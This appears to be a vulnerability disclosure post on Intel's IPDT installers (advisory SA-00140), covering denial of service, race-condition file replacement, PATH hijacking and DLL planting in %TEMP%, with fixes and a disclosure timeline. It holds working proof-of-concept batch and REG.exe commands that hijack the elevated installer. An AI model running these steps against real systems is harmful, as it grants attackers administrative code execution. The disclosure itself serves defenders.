Intel Processor Diagnostic Tool (IPDT) Privilege Escalation

`Hi @ll,  
  
the executable installers of Intel's Processor Diagnostic Tool  
(IPDT) before v4.1.0.27 have three vulnerabilities^Wbeginner's  
errors which all allow arbitrary code execution with escalation  
of privilege, plus a fourth which allows denial of service.  
  
Intel published advisory SA-00140  
<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00140.html>  
on 2018-06-27 and updated installers on 2018-05-18.  
  
  
The vulnerabilities can be exploited in standard installations  
of Windows where the user^WUAC-"protected administrator" account  
created during Windows setup is used, without elevation.  
This precondition holds for the majority of Windows installations:  
according to Microsoft's own security intelligence reports  
<https://www.microsoft.com/security/sir>, about 1/2 to 3/4 of the  
about 600 million Windows installations which send telemetry data  
have only ONE active user account.  
  
  
#1 Denial of service through insecure file permissions  
======================================================  
  
The downloadable executable installer (really: executable  
self-extractor built with WinZIP) IPDT_Installer_4.1.0.24.exe  
creates a subdirectory with random name in %TEMP%, copies  
itself into this subdirectory and then executes its copy.  
  
The subdirectory inherits the NTFS ACLs from its parent  
%TEMP%, and so does the copy of the executable self-extractor.  
  
For this well-known and well-documented vulnerability see  
<https://cwe.mitre.org/data/definitions/377.html> and  
<https://cwe.mitre.org/data/definitions/379.html> plus  
<https://capec.mitre.org/data/definitions/29.html>  
  
  
Proof of concept/demonstration:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
1. download IPDT_Installer_4.1.0.24.exe (quite some clueless  
copycats still offer it, violating Intel's copyright;  
<http://d.computerbild.de/downloads/7835763/IPDT_Installer_4.1.0.24.exe>)  
and save it in your "Downloads" directory";  
  
2. add the NTFS access control list entry (D;OIIO;WP;;;WD)  
meaning "deny execution of files in this directory for  
everyone, inheritable to files in all subdirectories"  
to the (user's) %TEMP% directory.  
  
3. execute IPDT_Installer_4.1.024.exe: notice the complete  
failure of the executable installer^Wself-extractor,  
WITHOUT error message!  
  
  
#2 Escalation of privilege through insecure file permissions  
============================================================  
  
Although the (copy of the) executable self-extractor runs with  
administrative privileges (its embedded "application manifest"  
specifies 'requireAdministrator'), it extracts its payload, the  
REAL installers setup.exe and setup64.exe, plus the batch script  
setup.bat, UNPROTECTED into the user's %TEMP% directory, CD's  
into %TEMP% and finally executes the extracted batch script  
%TEMP%\setup.bat:  
  
--- setup.bat ---  
echo off  
  
ver | findstr 6.1.7600  
if %errorlevel%==0 goto WinUnsup  
  
ver | findstr 6.0.6001  
if %errorlevel%==0 goto WinUnsup  
  
if "%programfiles(x86)%XXX"=="XXX" goto 32BIT  
  
:64BIT  
setup64.exe  
goto END  
  
:32BIT  
setup.exe  
goto END  
  
:WinUnsup  
echo Intel Processor Diagnostic Tool cannot be installed on this Operating System  
echo Please go to Online support page to view list of supported Oerating Systems  
  
pause  
  
:END  
exit 0  
--- EOF ---  
  
The extracted files inherit the NTFS ACLs from their parent  
%TEMP%, allowing "full access" for the unprivileged (owning)  
user, who can replace/overwrite the files between their creation  
and execution.  
  
Since the files are executed with administrative privileges,  
this vulnerability results in arbitrary code execution with  
escalation of privilege.  
  
  
Proof of concept/demonstration:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
1. create the following batch script in an arbitrary directory:  
  
--- IPDT.CMD ---  
:LOOP1  
@If Not Exist "%TEMP%\setup.exe" Goto :LOOP1  
  
Echo >"%TEMP%\setup.bat" WhoAMI.exe /all  
Echo >>"%TEMP%\setup.bat" Pause  
  
:LOOP2  
@If Not Exist "%TEMP%\setup64.exe" Goto :LOOP2  
  
Copy /Y %COMSPEC% "%TEMP%\setup.exe"  
  
:LOOP3  
@Copy %COMSPEC% "%TEMP%\setup64.exe"  
@If ERRORLEVEL 1 Goto :LOOP3  
--- EOF ---  
  
NOTE: the batch script needs to win a race (which it almost  
always will, due to the size of the files extracted).  
  
2. execute the batch script per double-click;  
  
3. execute IPDT_Installer_4.1.024.exe per double-click: notice  
the command processor started instead one of the executable  
installers, running with administrative privileges.  
  
  
#3 Escalation of privilege through unsafe search path  
=====================================================  
  
In Windows Vista and newer versions, the current working  
directory can be removed from the executable search path:  
<https://msdn.microsoft.com/en-us/library/ms684269.aspx>  
  
The batch script setup.bat calls setup.exe and setup64.exe  
without a path, so the command processor doesn't find the  
extracted setup.exe and setup64.exe in its CWD and searches  
them via %PATH%.  
  
%PATH% is under full control of the unprivileged user, who  
can create rogue setup.exe and setup64.exe in an arbitrary  
directory he adds to the %PATH%, resulting again in arbitrary  
code execution with escalation of privilege.  
  
For this well-known and well-documented vulnerability see  
<https://cwe.mitre.org/data/definitions/426.html> and  
<https://cwe.mitre.org/data/definitions/427.html> plus  
<https://capec.mitre.org/data/definitions/471.html>.  
  
  
Proof of concept/demonstration:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
1. start an unprivileged command prompt in an arbitrary  
directory where the unprivileged user can create files,  
for example the user's "Downloads" directory;  
  
2. add this (current working) directory to the user's PATH:  
  
PATH %CD%;%PATH%  
REG.exe Add HKCU\Environment /V PATH /T REG_SZ /D "%CD%" /F  
  
3. copy the command processor %COMSPEC% (or any rogue executable  
of your choice) as setup.exe and setup64.exe into the current  
(working) directory:  
  
COPY %COMSPEC% "%CD%\setup.exe"  
COPY %COMSPEC% "%CD%\setup64.exe"  
  
4. set the environment variable NoDefaultCurrentDirectoryInExePath  
to an arbitrary value:  
  
SET NoDefaultCurrentDirectoryInExePath=*  
REG.exe Add HKCU\Environment /V NoDefaultCurrentDirectoryInExePath /T REG_SZ /D "*" /F  
  
5. execute IPDT_Installer_4.1.024.exe per double-click: notice  
the command processor started instead of the extracted  
executable installers, running with administrative privileges.  
  
  
#4 Escalation of privilege through DLL search order hijacking  
=============================================================  
  
The extracted executable installers setup.exe and setup64.exe,  
built with the crapware known as InstallShield, load multiple  
Windows system DLLs from their "application directory" %TEMP%  
instead from Windows' "system directory" %SystemRoot%\System32\  
  
To quote Raymond Chen  
<https://blogs.msdn.microsoft.com/oldnewthing/20121031-00/?p=6203>  
  
| a rogue DLL in the TEMP directory is a trap waiting to be sprung.  
  
An unprivileged attacker running in the same user account can  
copy rogue DLLs into %TEMP%; these are loaded and their DllMain()  
routine executed with administrative privileges, once more  
resulting in arbitrary code execution with escalation of privilege.  
  
For this well-known and well-documented vulnerability see  
<https://cwe.mitre.org/data/definitions/426.html> and  
<https://cwe.mitre.org/data/definitions/427.html> plus  
<https://capec.mitre.org/data/definitions/471.html>.  
  
  
Proof of concept/demonstration:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
1. follow the instructions from  
<https://skanthak.homepage.t-online.de/minesweeper.html>  
and build a minefield of forwarder DLLs in your %TEMP%  
directory;  
  
NOTE: if you can't or don't want to build the minefield, download  
<https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>  
and save it as UXTheme.dll, DWMAPI.dll, NTMARTA.dll and  
MSI.dll in your %TEMP% directory.  
  
2. execute IPDT_Installer_4.1.0.24.exe: notice the message boxes  
displayed from the DLLs built in step 1!  
  
NOTE: on a fully patched Windows 7 SP1, setup64.exe loads at  
least the following 32-bit DLLs from %TEMP%:  
UXTheme.dll, Version.dll, NTMARTA.dll and MSI.dll  
  
Due to its filename, setup.exe additionally loads WinMM.dll,  
SAMCli.dll, MSACM32.dll, SFC.dll, SFC_OS.dll, DWMAPI.dll and  
MPR.dll.  
  
  
Fix:  
====  
  
1. DUMP all those forever vulnerable executable installers and  
self-extractors; provide an .MSI package or an .INF script plus  
a .CAB archive instead!  
  
2. NEVER use an unqualified filename to execute/load an application  
or a DLL, ALWAYS specify their fully qualified pathname!  
  
  
Mitigations:  
============  
  
1. DON'T execute executable self-extractors.  
  
2. NEVER execute executable self-extractors with administrative  
privileges.  
  
3. extract the payload of the self-extractor with a SAFE and SECURE  
unzip.exe into a properly protected directory.  
  
4. exercise STRICT privilege separation: use separate unprivileged  
user accounts and privileged administrator account, DISABLE the  
"security theatre" UAC in the unprivileged user accounts.  
  
  
stay tuned  
Stefan Kanthak  
  
  
PS: the "portable executable" IPDT_Installer_4.1.024.exe has an  
export directory, but does NOT export any symbols: both the  
numbers of names and functions are 0, and the RVAs of the  
functions, names and ordinals arrays are 0 too.  
  
  
Timeline:  
=========  
  
2018-03-28 sent vulnerability report to <[email protected]>  
  
no reply, not even an acknowledgement of receipt  
  
2018-04-05 resent vulnerability report to <[email protected]>,  
CC: to CERT/CC  
  
no reply, not even an acknowledgement of receipt  
  
2018-05-03 resent vulnerability report via HackerOne  
  
2018-05-04 Intel acknowledges receipt  
  
2018-05-17 Intel confirms the reported vulnerabilities  
  
2018-05-21 Intel publishes fixed installers, with a dangling  
reference to SA-00140 in the release notes, plus  
inaccuracies regarding the dependencies of IPDT  
  
NO notification sent to me that fixes have been  
published!  
  
2018-06-05 sent report about the errors in the release notes  
after stumbling over the fixes  
  
2018-06-12 Intel acknowledges the report regarding the notes  
  
2018-06-27 Intel publishes their advisory SA-00140  
  
AGAIN no notification sent that the advisory has  
been published!  
Intel's understanding of coordinated disclosure  
looks rather weird to me.  
`